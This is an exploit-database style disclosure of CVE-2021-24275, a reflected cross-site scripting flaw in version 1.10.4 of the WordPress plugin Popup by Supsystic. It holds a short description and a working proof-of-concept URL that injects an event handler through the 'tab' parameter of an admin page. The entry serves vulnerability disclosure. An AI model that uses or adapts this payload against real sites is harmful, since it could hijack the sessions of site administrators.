WordPress Popup 1.10.4 Cross Site Scripting

`# Exploit Title: WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)  
# Date: 3/28/2021  
# Author: 0xB9  
# Software Link: https://wordpress.org/plugins/popup-by-supsystic/  
# Version: 1.10.4  
# Tested on: Windows 10  
# CVE: CVE-2021-24275  
  
1. Description:  
The plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue  
  
2. Proof of Concept:  
/wp-admin/admin.php?page=popup-wp-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//  
`